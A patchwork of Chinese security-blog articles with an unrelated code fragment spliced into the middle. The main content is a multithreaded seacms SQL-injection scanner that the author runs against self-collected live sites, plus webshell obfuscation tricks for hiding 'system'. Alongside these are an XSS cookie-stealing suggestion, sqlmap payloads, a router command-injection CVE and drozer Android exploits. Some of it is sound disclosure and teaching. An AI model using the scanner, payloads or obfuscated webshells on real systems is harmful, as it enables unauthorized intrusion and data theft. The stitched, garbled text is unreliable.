                  zabbix_sql.insert(END, "【*】存在漏洞的url:" + url + "\n")                        zabbix_sql.see(END)                        with open("存在Zabbix—SQL注入漏洞的url.txt", 'a') as f:                            f.write(url + "\n")        else:            zabbix_sql.insert(END, "【×】不存在漏洞的url:" + url + "\n")            zabbix_sql.see(END)    except Exception as err:        zabbix_sql.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "\n")        zabbix_sql.see(END) def get_zabbix_addr():    with open("url.txt","r") as f:        for address in f.readlines():            address = address.strip()            yield address def zabbix_sql_gui():    zabbix_sql_poc = tk.Tk()    zabbix_sql_poc.geometry("910x450")    zabbix_sql_poc.title("Zabbix—SQL注入 漏洞一把梭")    zabbix_sql_poc.resizable(0, 0)    zabbix_sql_poc.iconbitmap('logo.ico')    global zabbix_sql    zabbix_sql = scrolledtext.ScrolledText(zabbix_sql_poc,width=123, height=25)    zabbix_sql.grid(row=0, column=0, padx=10, pady=10)    zabbix_sql.see(END)    addrs = get_zabbix_addr()    max_thread_num = 30    executor = ThreadPoolExecutor(max_workers=max_thread_num)    for addr in addrs:        future = executor.submit(zabbix_sql_exp, addr)    zabbix_sql_poc.mainloop() 大概的架构就是访问地址,发送 paylaod,然后对应利用成功和失败的特征进行鉴定,然后就是最后的 gui 模块 因此我们可以对应的写出一个脚本,我按照我的漏洞写出的脚本如下 import requests import time import tkinter as tk from tkinter import scrolledtext from concurrent.futures import ThreadPoolExecutor from ttkbootstrap.constants import * # 执行SQL注入检测的函数 def sql_injection_exp(url):    target = url + "/js/player/dmplayer/dmku/index.php?ac=edit"    data = {        "cid": "(select(1)from(select(sleep(6)))x)",        "text": "1",        "color": "1"   }    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",        "Content-Type": "application/x-www-form-urlencoded"   }    start_time = time.time()    try:        response = requests.post(target, data=data, headers=headers, timeout=10)        elapsed_time = time.time() - start_time        if elapsed_time > 5:            output_text.insert(END, f"【*】找到SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")            output_text.see(END)            with open("找到sql注入的url.txt", 'a') as f:                f.write(url + "\n")        else:            output_text.insert(END, f"【×】没有SQL注入在 {target} (响应时间: {elapsed_time:.2f} 秒)\n")            output_text.see(END)    except requests.exceptions.RequestException as err:        output_text.insert(END, f"【×】目标请求失败:{target},错误内容:{err}\n")        output_text.see(END) # 获取URL地址的生成器 def get_urls():    with open('url.txt', 'r') as file:        for line in file.readlines():            yield line.strip() # GUI界面 def sql_injection_gui():    root = tk.Tk()    root.geometry("910x450")    root.title("seacms前台sql注入")    root.resizable(0, 0)    global output_text    output_text = scrolledtext.ScrolledText(root, width=123, height=25)    output_text.grid(row=0, column=0, padx=10, pady=10)    urls = get_urls()    max_threads = 30  # 并发线程数    executor = ThreadPoolExecutor(max_workers=max_threads)    for url in urls:        future = executor.submit(sql_injection_exp, url)    root.mainloop() 然后添加好模块 可以看见是添加成功了的 实战演示 首先就是搜集 url 了,配置好了之后只需要 因为我没有 fofa 的会员,这里使用自己搜集的 url,放在一个文件里面的,如果有的话就不需要我这样操作了 然后来到你需要利用的板块 利用的效果 然后我们可以随便找个网址验证一下 进入网址效果如下,说明网址还在正常使用的 然后测试漏洞 可以看见漏洞是存在的 然后就是查权重了 这个可以一把梭哈的
精准定位文件包含漏洞:代码审计中的实战思维
前言 最近看到由有分析梦想 CMS 的,然后也去搭建了一个环境看了一看,发现了一个文件包含漏洞的点,很有意思,下面是详细的复现和分析,以后代码审计又多了一中挖掘文件包含漏洞的新思路。 环境搭建 下载https://gitee.com/iteachyou/dreamer_cms 然后各种配置都可以看到 JDK:Jdk8IDE:Spring Tool Suite 4(STS)或 IntelliJ IDEA DB:Mysql 5.7,Windows配置安装Mysql5.7,请参考: https://www.iteachyou.cc/article/a1db138b4a89402ab50f3499edeb30c2Redis:3.2+,Windows配置安装Redis教程,请参考: https://www.iteachyou.cc/article/4b0a638f65fa4fb1b9644cf461dba602修改一下配置文件中的 resource-path 和 mysql 的连接 漏洞寻找过程 进入后台后发现可以编辑模板文件 然后这时候我们就需要注意常见的可以触发漏洞的点了 首先就是 xss 加入我们的 xss 代码 然后访问首页 成功 xss,当然我们真实使用的话可以利用我们的 xss 平台 这里推荐与一个 https://xssaq.com/点击配置代码后会有很多 payload,随便复制一个 这里我们简单弹个 cookie xss 的话还是国外使用比较多 当然这样并不能达到我们 getshell 的目的 漏洞深入利用 这里就不得不提到我们的一些标签了 一般常见的我们可以尝试 include 标签 这里我们先复现一下 这个标签是 cms 的专属的标签 然后我们根据目录关系创建一个文件尝试一下 然后我们访问首页 可以看到成功了 调试分析 我们调试分析一下,抓个包看看路由 定位到代码 @Log(operType = OperatorType.UPDATE, module = "模板管理", content = "修改模板") @PostMapping("save") @RequiresPermissions("5n6ta53y") public String save(TemplateVo template) throws IOException, CmsException { String fileName = template.getPath() + File.separator + template.getFile(); File templateFile = new File(fileName); /** * 查询当前模版目录,判断是否为模版目录,如不是,则报错 */ Theme currentTheme = themeService.getCurrentTheme(); String resourceDir = fileConfiguration.getResourceDir(); String themePath = resourceDir + File.separator + "templates" + File.separator + currentTheme.getThemePath() + File.separator; themePath = themePath.replaceAll("\\*", "/"); File themeDir = new File(themePath); // 检查当前编辑文件是否有权限 if(!templateFile.getCanonicalPath().startsWith(themeDir.getCanonicalPath())) { throw new TemplatePermissionDeniedException(StateCodeEnum.HTTP_FORBIDDEN.getCode(), StateCodeEnum.HTTP_FORBIDDEN.getDescription(), "您没有操作权限!"); } if(!templateFile.exists()) { throw new TemplateNotFoundException(StateCodeEnum.HTTP_NOTFOUND.getCode(), StateCodeEnum.HTTP_NOTFOUND.getDescription(), "模板文件不存在!"); } String filePath = template.getPath() + File.separator + template.getFile(); filePath = filePath.replaceAll("\\*", "/"); File file = new File(filePath); FileUtils.writeStringToFile(file, template.getContent(), "UTF-8"); return "redirect:/admin/templates/toIndex"; } 这里就是就简单的写一下模板,然后重点关注解析的部分 这里有各种各样的标签 看到我们的 Include 标签 @Tag(beginTag="{dreamer-cms:include /}",endTag="{/dreamer-cms:include}",regexp="(\\{dreamer-cms:include[ \\t]+.*/\\})|(\\{dreamer-cms:include[ \\t]+.*\\}\\{/dreamer-cms:include\\})", attributes={ @Attribute(name = "file",regex = "[ \t]+file=[\"\'].*?[\"\']"), }) 格式 我们看一下解析过程 首先是解析我们的模板 识别我们的模板内容后开始解析各种标签,然后是我们的 include public String parse(String html) { Tag annotations = IncludeTag.class.getAnnotation(Tag.class); Attribute[] attributes = annotations.attributes(); List<String> all = RegexUtil.parseAll(html, annotations.regexp(), 0); if(StringUtil.isBlank(all)) { return html; } String newHtml = html; String resourceDir = fileConfiguration.getResourceDir() + "templates/"; Theme currentTheme = themeService.getCurrentTheme(); String templatePath = currentTheme.getThemePath() + "/"; String basePath = resourceDir + templatePath; for (int i = 0; i < all.size(); i++) { Map<String,Object> entity = new HashMap<String,Object>(); String includeTag = all.get(i); for (Attribute attribute : attributes) { String condition = RegexUtil.parseFirst(includeTag, attribute.regex(), 0); if(StringUtil.isBlank(condition)) { continue; } String key = condition.split("=")[0]; String value = condition.split("=")[1]; key = key.trim(); value = value.replace("\"", "").replace("\'", ""); entity.put(key, value); } if(entity.keySet() != null && entity.keySet().size() > 0) { String path = basePath + entity.get("file").toString(); File includeFile = new File(path); String includeHtml; try { includeHtml = FileUtils.readFileToString(includeFile, "UTF-8"); newHtml = newHtml.replaceFirst(annotations.regexp(), includeHtml); } catch (IOException e) { e.printStackTrace(); } } } return newHtml; } 可以目录穿越读取我们任意文件的内容
浅谈 webshell 构造之如何获取恶意函数
前言 这篇文章主要是总结一下自己学习过的 “恶意函数” 篇章,重点是在如何获取恶意函数。 get_defined_functions (PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8) get_defined_functions — 返回所有已定义函数的数组 我们主要是可以通过这个获取危险的函数 比如 比如 当然还有许多,如何执行命令就很简单了 代码如下 <?php $a=(get_defined_functions()); $a["internal"][516]("whoami"); ?> get_defined_constants get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值 那获取的常量是不是可以为我们所用呢? 可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗 代码如下 <?php $a=get_defined_constants(); foreach ($a as $key => $value){    if (substr($key,0,7)=="INI_SYS"){        $x= strtolower(substr($key,4,6));        $x("whoami");   } } ?> 自定义方法 通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } 现在还没有看出端倪,但是当你运行这串代码的时候 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } echo fun(451232); 抛出异常截取字符串 这个手法也是比较特殊的 我们可以随便找一个异常类 比如 ParseError,然后再加上我们刚刚的自定义方法 ParseError 当解析 PHP 代码时发生错误时抛出,比如当 https://www.php.net/manual/zh/function.eval.php 被调用出错时。 它的一些属性和方法 /* 继承的属性 */ protected string $message = ""; private string $string = ""; protected int $code; protected string $file = ""; protected int $line; private array $trace = []; private ?Throwable $previous = null; /* 继承的方法 */ public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null) final public Error::getMessage(): string final public Error::getPrevious(): ?Throwable final public Error::getCode(): int final public Error::getFile(): string final public Error::getLine(): int final public Error::getTrace(): array final public Error::getTraceAsString(): string public Error::__toString(): string private Error::__clone(): void 可以看到都是基础父类的 Exception::__construct — 异常构造函数 Exception::getMessage — 获取异常消息内容 Exception::getPrevious — 返回前一个 Throwable Exception::getCode — 获取异常代码 Exception::getFile — 创建异常时的程序文件名称 Exception::getLine — 获取创建的异常所在文件中的行号 Exception::getTrace — 获取异常追踪信息 Exception::getTraceAsString — 获取字符串类型的异常追踪信息 Exception::__toString — 将异常对象转换为字符串 Exception::__clone — 异常克隆 根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗 代码如下 <?php function fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;   }    return $tmp.$s[$a]; } $a = new ParseError(fun(451232)); echo $a->getMessage(); DirectoryIterator The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories. 它的一些方法 https://www.php.net/manual/zh/directoryiterator.construct.php — Constructs a new directory iterator from a path https://www.php.net/manual/zh/directoryiterator.current.php — Return the current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.getbasename.php — Get base name of current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.getextension.php — Gets the file extension https://www.php.net/manual/zh/directoryiterator.getfilename.php — Return file name of current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.isdot.php — Determine if current DirectoryIterator item is '.' or '..' https://www.php.net/manual/zh/directoryiterator.key.php — Return the key for the current DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.next.php — Move forward to next DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.rewind.php — Rewind the DirectoryIterator back to the start https://www.php.net/manual/zh/directoryiterator.seek.php — Seek to a DirectoryIterator item https://www.php.net/manual/zh/directoryiterator.tostring.php — Get file name as a string https://www.php.net/manual/zh/directoryiterator.valid.php — Check whether current DirectoryIterator position is a valid file 其中大概看一下,其实 DirectoryIterator::getFilename 就有利用的可能 DirectoryIterator::getFilename — Return file name of current DirectoryIterator item 看一下官方的例子 <?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) {   echo $fileinfo->getFilename() . "\n";}?> 以上示例的输出类似于: . .. apple.jpg banana.jpg index.php pear.jpg 那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗 代码如下 <?php // 创建FilesystemIterator实例 $iterator = new FilesystemIterator(dirname(__FILE__)); foreach ($iterator as $item) {    // 输出文件和目录的属性    echo $item->getFilename() . "\n"; } ?> 运行结果 确实是获取到了 pack 这个函数很有意思的 pack — 将数据打包成二进制字符串 可以构造出字符串 pack(https://www.php.net/manual/zh/language.types.string.php $format, https://www.php.net/manual/zh/language.types.mixed.php ...$values): https://www.php.net/manual/zh/language.types.string.php 将输入参数打包成 format 格式的二进制字符串。 这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。 注意,有符号值和无符号值之间的区别只影响函数 https://www.php.net/manual/zh/function.unpack.php,在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。 看了一下大概,再看下官方的例子 这是一些它的格式 示例 #1 *pack()* 范例 <?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?> 输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。 那我们按照构造出 system 的思路 <?php echo pack("C6", 115, 121, 115, 116, 101, 109); echo pack("H*", "73797374656d"); ?> 这两个结果都是 system "C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。 传入的参数 115, 121, 115, 116, 101, 109 是 ASCII 码值。 115 对应的字符是 s 121 对应的字符是 y 115 对应的字符是 s 116 对应的字符是 t 101 对应的字符是 e 109 对应的字符是 m 构造出来的就是 system "H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。 73797374656d 是一个十六进制表示的字符串。将其转换为 ASCII 字符: 73 是 s 79 是 y 73 是 s 74 是 t 65 是 e 6d 是 m 构造出来的也是system
;\r\n            $old_pos = $pos + 1;\r\n       }\r\n        $clean .= substr($db_string, $old_pos);\r\n        $clean = trim(strtolower(preg_replace(array('~\\s+~s' ), array(' '), $clean)));\r\n \r\n        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'\"')!== FALSE\r\n        OR strpos($clean,'$s$s
某路由器二进制漏洞挖掘过程
1.前言 半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。 该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。 经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。 我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。 近日,该漏洞已正式获得CVE编号CVE-2025-9149。 https://www.wavlink.com/en_us/index.html2.漏洞概述 Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。 固件下载地址: https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情 对固件binwalk -Me [固件位置] 解包 binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件, 它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。 当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。 Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。 wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。 处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。 Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。 与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。 wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。 所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。 找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。 sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。 sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。 从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。 随后Guest_ssid参数值被传入sub_407504函数内。 而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。 所以构造poc的时候,必须将guestEn设置为1 而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。 所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。 4.漏洞验证 首先使用工具将Wavlink模拟起来,这里选择了FrimAE sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 检查名为"httpd"的进程是否正在运行 设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf 在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。 接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。 可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言 之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。 https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。 2.漏洞详情 1.1 CVE-2025-9008 下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。 $sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',    password='".$_POST['password']."',    sender_id='".$_POST['sender_id']."'       WHERE id='1'"; 这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。 因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。 比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1 那么,最终拼接出来的 SQL 语句会变成: UPDATE sms_setting SET uname='hacker',  password='' OR '1'='1', sender_id='fake_sender' WHERE id='1' 这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。 更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。 payload --- Parameter: uname (POST)   Type: boolean-based blind   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause   Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=   Type: error-based   Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)   Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update= --- 我们也可以使用一些工具来进行查看,比如说sqlmap。 sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs 通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。 布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。 而图中的payload uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ 111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。 RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。 (CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321 如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。 如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。 把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。 所以明确了这里存在sql注入漏洞。 1.2 CVE-2025-8993 接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。 这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。 而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。 它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。 比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?"); 然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。 这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。 但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。 $stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' "); $_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。 攻击者只要在表单输入里构造恶意 payload,就能注入 sql。 虽然用了 PDO,但没有真正用到参数化查询。 $conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。 所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。 payload --- Parameter: from_date (POST)   Type: error-based   Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)   Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=   Type: time-based blind   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)   Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit= --- 用sqlmap进行检测 sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs sqlmap 识别到 POST 参数 from_date 存在注入漏洞。 测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。 所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。 还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。 from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&... 如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。 而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。 tour1,这个才是该cms特有的数据库名称。 所以明确了POST参数的from_date存在注入漏洞。 3.建议修复 使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。 输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。 最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。 定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。 具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。 在电脑端通过adb实现端口转发,并成功启动drozer adb forward tcp:31415 tcp:31415 drozer console connect 通过app.package.list的filter参数过滤alan关键词的包名称 run app.package.list --filter alan 查询该app的包信息 run app.package.info -a com.asec.alan 利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。 run app.package.attacksurface com.asec.alan 完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。 一、Activity Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。 1、未授权访问漏洞 需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。 通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制 run app.activity.info -a com.asec.alan 对于这些activity的执行逻辑属于 LoginActivity登录->MainActivity->InfoQueryActivity LoginActivity登录->MainActivity->FileQueryActivity 1)漏洞代码 以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储 当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。 通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转 该acitivity直接加载,未进行登录态的校验 通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。 2)漏洞利用 MainActivity加载: 基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true MainActivity的加载可直接通过drozer命令加载 run app.activity.start --component com.asec.alan com.asec.alan.MainActivity 执行后成功记载MainActivity 删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败 InfoQueryActivity加载: InfoQueryActivity则通过app.activity.start命令直接加载即可。 run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity 3)修复建议 二、Service Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。 新建一个用于漏洞测试的service,并写入一些漏洞的逻辑 service组件运行导出 通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。 run app.service.info -a com.asec.alan 1、任意文件写入漏洞 在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录 2)漏洞利用 通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer" 利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容 adb shell su ls /data/data/com.asec.alan/drozer_test.txt cat /data/data/com.asec.alan/drozer_test.txt 2、敏感信息泄露漏洞 敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志 2)漏洞利用 利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务 run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService 通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。 adb logcat VulnerableService:D *:S 三、Broadcast 